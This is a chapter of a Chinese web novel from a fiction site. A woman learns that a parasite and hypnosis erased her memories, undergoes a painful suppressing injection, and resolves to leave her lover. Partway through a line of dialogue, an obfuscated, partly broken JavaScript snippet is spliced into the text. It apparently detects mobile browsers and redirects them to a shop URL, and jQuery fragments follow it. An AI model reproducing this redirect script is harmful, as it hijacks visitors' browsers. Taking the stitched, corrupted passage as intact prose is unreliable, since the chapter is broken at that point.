风竹小说 > 都市言情 > 潮落潮生时 > 56.缘分已尽,是死是活,我们不复相见

56.缘分已尽,是死是活,我们不复相见

    一切事情尘埃落定之后,时爱又是整整三天没有出门,时间也来到了九月中旬。

    期间,收到公司老板的最后通牒,让她尽快回国,若在拖下去,算她违约。时爱没有搭理,话已经给他说的很明确了,他就是想给她按上违约的头衔,也得看看有没有那个理由。

    毕竟,合约马上到期了。

    在这个节骨眼,他肯定要想办法把自己留下,怎么可能还会出什么幺蛾子。

    法斯特这几天不在,听管家和索菲亚说,他被里昂弄去办事了,等他回来会告诉她。

    她委婉拒绝,他办的那些事,估计也没啥好事,倒也不必告诉她。

    一天夜里,外面罕见下了雨,雷电交加。

    时爱身体上那种痛感虽迟但到,如万蚁啃噬,脑中不断闪过一些片段,这次,她看得很清。

    这些是什么?

    丢失的记忆?

    疼痛不断增加,记忆越来越清晰,她躲在浴室,一只手捏住手臂,指甲伴随着身体疼痛陷进肉里,鲜红的血液顺着她的指甲流出。

    不知过了多久,痛感消失。

    时爱整个人全身瘫软在地,脸色发白,呼吸不顺,宛如一个活死人般。

    自己的记忆为何会被遗失?又是怎么遗失的?记忆中的那个女人,是法斯特的姑姑,那么弗吉尼亚是他的表弟,也就是那个女人的儿子......

    去问他,是否会知道自己为何会遗失记忆?

    这样想着,她拖着虚弱快死的身体,强撑着站起来,洗了把脸。

    出门时,面对这偌大空无一人的城堡,顿时无语,这么大的地方,她怎么可能知道弗吉尼亚在哪里,佣人管家都睡觉了,索菲亚和蜜莉恩也不知道干啥去了,这几天也都很难见到人。

    就是想问,也找不到人,只能问空气了。

    或者问问在这房间里的鬼......呵呵哒,那显然是不可能的。

    也不知道,这房里是不是真的有鬼,她无意识地走到二楼,走廊尽头的一间房,房门没有关严实,透出亮光。

    越靠近,里面说的声音就越清晰。

    声音传入她的耳朵里,时爱一秒就听出了是谁的,那个语气沉稳又带点狂傲不羁地是里昂;另一个,她不是很熟悉,但这几天同在一个屋檐下,就是想不听出来,也是一件很难的事情。

    是他们的表弟——弗吉尼亚。

    正愁不知道上哪去找他,这下好了,得来全不费工夫,她双手合十,朝空气拜了拜,谢谢鬼大哥们。

    时爱犹豫着要不要进去,但听着他们的声音,好像是在聊事情,贸然进去,里昂可不是什么善良的主。

    思来想去,还是决定在外面等等,等他们说完,再进去。

    他们的说话声很大,简直就像是再给她故意听一样。时爱站在门外,离了有很长一段距离,都能清晰听到。

    她发誓,真不是有意要听的。

    房间里面,弗吉尼亚的情绪很是激动,拍着桌子,喊道:“你他妈疯了?这样做,有没有考虑到法斯特和时爱的感受?你就不怕二哥撑不下去?”

    他们的感受?

    时爱皱眉,他们是在说她和法斯特吗?

    好奇心的驱使下,她迈出脚步,离房门更近了一些。

    里昂把玩着手里的钢笔,脸上的表情是那样不懈,声音冷漠:“这样做,都是为了他们好,不然,猴年马月,时爱才能脱离你老妈的控制?”

    “不是,那样不能直接告诉她啊!”弗吉尼亚泄气,跌坐在凳子上,瞪着里昂,“你也为我考虑考虑啊,二哥知道,我的皮就别要了。”

    他用脚后跟都能想到,这件事被揭穿的后果。

    虽说事情是他老母干的,但他也脱不了关系,自己手上那些毒,还有加深催眠效果的药物......越想,心就死的越快。

    整个人头皮发麻。

    里昂白他一眼:“你怕什么,我还没死呢!他不敢对你怎么样的!”

    “你说的倒是轻巧。”弗吉尼亚撇嘴,“每次他揍我,你不是看着,就是不在,那次帮我了?”

    里昂:“......”

    嗯......他有过吗?

    怎么他记得,明明是组织过的呀!?

    自己记忆混乱了!?

    “那接下来怎么办?”弗吉尼亚依旧气鼓鼓,腮帮子鼓的像河豚,“找时爱直接给她说?”

    里昂没说话,点头。

    “谁去?”弗吉尼亚指着他,“你去?反正我是不会去的。”

    “谁去,暂时先不说。”里昂起身,走到一旁的桌子跟前,打开了放在上面的箱子,里面是五只药剂,“你确定这些能压制住时爱体内的蛊虫?”

    “废话。”弗吉尼亚也来到他身边,“也不看看我是干啥的,我妈就算再能折腾,他能折腾过我这个从小就研究毒的人嘛?区区蛊虫,不在话下。”

    里昂拿起一针药剂:“那也没见你直接研究出,直接逼出蛊虫的办法。”

    “我......”

    他不想吗?他也很想研究出来啊!

    谁让他老母弄来不知名的东西,还没研究到,就被她给用了,能研究出压制住的药剂,已经很好了。

    再说了,那只蛊虫,也需要众蛊人自己意志坚定,才可以逼出来。

    就算他研究出来了,也没用,还是要靠时爱自己本身。

    “哥,二哥说会帮我离开,到现在还没兑现承诺,要不你帮我?”弗吉尼亚恳求。

    他是真的不想待在家族里面了。

    身不由己先不说,就他老娘的性格,只要不死,就不会有一天消停的,要是那一天玩大了,他也得跟着完蛋。

    他还年轻,还没享受过大好年华,他才不要折在这里。

    里昂根本就没听请他说的什么,看着这紫色药剂,眉头能夹死蚊子般皱着。

    “喂,我跟你说话......”

    里面的谈话还在继续,外面的时爱却早已泪流满面,全身是止不住的发抖,小步小步,一点点退到围栏处。

    她不敢相信自己听到了什么......

    蛊虫?

    她体内居然有蛊虫?

    那为什么她不知道?就连一丝一毫地感觉都没有,是什么时候进入体内的?

    那么他的记忆遗失。也是因为这个蛊虫吗?

    如果是这样,那么一切都说的通了,为什么她会不记得这么多事,为什么明明人在巴黎,却不知道自己是怎么来的......明明中间发生那么多事,却都被她,遗忘地一干二净。

    这一切地一切,原来都是她的问题。

    体内蛊虫感应到,宿主得知了自己的存在,便无所顾忌,更加肆无忌惮在体内乱窜,从头到脚,从里到外......

    只要是有血管的地方,它都爬了个遍。

    忽如其来地巨大疼痛,令时爱难以忍受,整个人瞬间被吸干一般,脸色苍白,径直倒在地上。

    手不小心触碰到花瓶,花瓶掉落在地,发出巨大声响。

    引来房间里的两人。

    万般折磨之下,时爱支撑不住,彻底晕死过去。

    再睁眼时,脑中出现许多片段,游轮上的那个女人,与自己接触,从那之后,她就觉得身体不对劲。

    是哪个时候吗?

    她想起了一切。

    原来,不是第一次被人催眠,那个女人和法斯特竟都有过。

    她到底算什么啊!?

    他们手中的玩具吗?

    想让她干什么,就干什么,想让她记得什么,就记得什么......

    “醒了?”里昂的声音响起,见她醒来,也没打算再跟她隐瞒,“我们说的,你大概也都听到了,所以你有什么想法?”

    想法?

    她还能有什么想法?

    遇到这些人,简直就没一件好事。

    里昂见她不说话,替她做了决定:“你既已知自己身体情况,那些伤害法斯特的事情,你也都想起来了,这只蛊虫在你身体里一天,它

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16907253|188221||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    始终是隐患,所以......”他眼神变得阴冷,“你明白我的意思?”

    时爱虚弱地笑了笑:“明白。”

    就如她之前所说的,自己不定时会变成什么样,做出什么事,呆在法斯特身边,始终是个隐患。所以,离开,对谁都好。

    “那法斯特呢?”时爱继续问道,“以他的手断,会查不出来吗?是你在阻止他?”

    里昂低头轻笑,手里的钢笔转的飞快:“挺聪明的,我是他哥哥,纵逝他再有手断,我依然会有办法对付,我不让他查到的东西,就没人敢让他查到。”

    “其他人呢?”

    “除了蜜莉恩之外,其他几个都知道。”

    时爱眼泪止不住的流,双手紧握成拳:“那他们为什么不告诉我啊?”

    “告诉你,有什么用?”弗吉尼亚从暗处出来,手上拿着一根紫色药剂,“这只蛊虫,需要你自己意志坚定,再发作时,努力与它对抗,才有机会将它逼出来,这些,谁也帮不了你的。”

    “那如果一直不出来呢?”时爱不敢想,不出来的结果,但有预感,大约不是什么好的。

    果然,下一秒,就听到弗吉尼亚那三十几度的嘴,说出毫无温度的话:“死呗!在你身体越久,就越男清除。”他掰开针头,“不过,我有办法,暂时压制,期限三个月,三个月内,五只针剂,用完之时,若还没有逼出来,那我也无能为力,先跟你说声,安息!”

    时爱:“......”

    人的嘴怎么能这么贱!?

    看着那只药剂,她叹气,挽起袖子,做好准备。

    她想过痛苦,可没想到,会这么痛苦,药剂进入身体的那一刻,感觉全身器官都在燃烧,随时都要爆裂而亡的那种感觉。

    “过程很痛苦,忍半个小时就好了。”

    时爱点头,前面似乎喊呢个忍受,到了后面,疼得她,实在受不了,面前的桌子被她掀翻在地。

    耳鸣消失,头疼欲裂。

    她随机抓了一个不知什么东西,一口咬住,用这样的方式,来转移身体上的痛苦。

    可,并没有什么太大用处。

    减轻一些,但也只是一点点。

    里昂事不关己,拿出耳机,音量开大,坐在落地窗前,悠闲自在喝酒赏风景。

    某人可就惨了。

    因为时爱刚在抓到的东西,不是一个物件,而是弗吉尼亚的手臂,那一口结结实实咬在他的肉伤,这会儿蔓延到骨头。

    碍于绅士风度,他没有第一时间推开她。

    她越咬越深,血迹在口中蔓延。

    弗吉尼亚抓起旁边的抱枕,咬在自己嘴上,发出一阵阵闷哼。时爱没有叫出来的声音,他全部替代。

    半个小时之内,整栋别墅里面,全部都是他杀猪般的叫声。

    管家和用人起床,听到这声音,以为又是大少爷在做事,纷纷忙于自己的工作,无人去查看。

    好不容易熬过去了,时爱虚脱的倒在躺椅上。

    而弗吉尼亚,两眼一黑,晕倒在地上,颤抖着手臂,泪眼汪汪地,指了指自己的手臂,又指了指时爱,一句话也说不出来。

    倒了八辈子霉了他!!!

    以前被二哥抽就算了,现在还要被他老婆咬,命真苦啊!!!

    时爱双眼无神,调整好情绪,转头看着里昂:“帮我离开这里!”

    她现在唯一能做的,就是尽早离开。

    明目张胆地走,法斯特肯定不会同意,若是得到里昂的帮助,那么胜算率肯定很大。

    法斯特,缘分已尽,未来是死是活,听天由命,我们不复相见!

    里昂放下耳机,揉了揉耳朵,点头:“可以,不过,我要出去三天,这三天,你和法斯特好好告别,如果,你可以逼出来蛊虫,那我不会再拦着他,同时还会给你们摆平一切阻碍!”

    “多谢!”

    与此同时,法斯特匆匆赶回别墅,管家看到,马不停滴地跑到二楼,找到里昂,报告消息:“大少爷,二爷回来了。”